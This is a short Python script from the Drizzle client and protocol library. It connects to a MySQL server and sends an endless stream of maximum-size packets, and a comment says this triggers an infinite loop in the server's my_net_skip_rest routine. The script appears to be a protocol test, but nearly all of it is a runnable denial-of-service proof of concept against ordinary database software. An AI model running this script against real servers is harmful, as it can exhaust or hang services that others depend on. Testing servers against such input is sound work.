#!/usr/bin/env python
#
# Drizzle Client & Protocol Library
# 
# Copyright (C) 2008-2010 Eric Day (eday@oddments.org)
# All rights reserved.
# 
# Use and distribution licensed under the BSD license.  See
# the COPYING file in this directory for full text.
#
'''
Send an infinite amount of data to a MySQL server.
'''

import optparse
import sys
import socket

parser = optparse.OptionParser(add_help_option=False)

parser.add_option("--help", action="help", help="Print out help details")
parser.add_option("-h", "--host", dest="host", default="localhost",
                  help="Host or IP to test", metavar="HOST")
parser.add_option("-p", "--port", dest="port", default=3306,
                  help="Port to test", metavar="PORT")

(options, args) = parser.parse_args()

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((options.host, int(options.port)))
print 'Connected to %s:%s' % (options.host, options.port)

server_header = s.recv(1024)
print 'Server Header:'
print list(server_header)

print
print 'Each . represents 16MB of data:'

# Max packet size plus sequence number '1'.
packet = '\xFF\xFF\xFF\x01'
data = 'x' * 8192

# Keep sending max size packets, causes infinite loop in my_net_skip_rest.
while True:
  s.send(packet)

  # Send 16777215 bytes.
  for x in range(0, 2047):
    s.send(data)
  s.send(data[1:])

  sys.stdout.write('.')
  sys.stdout.flush()
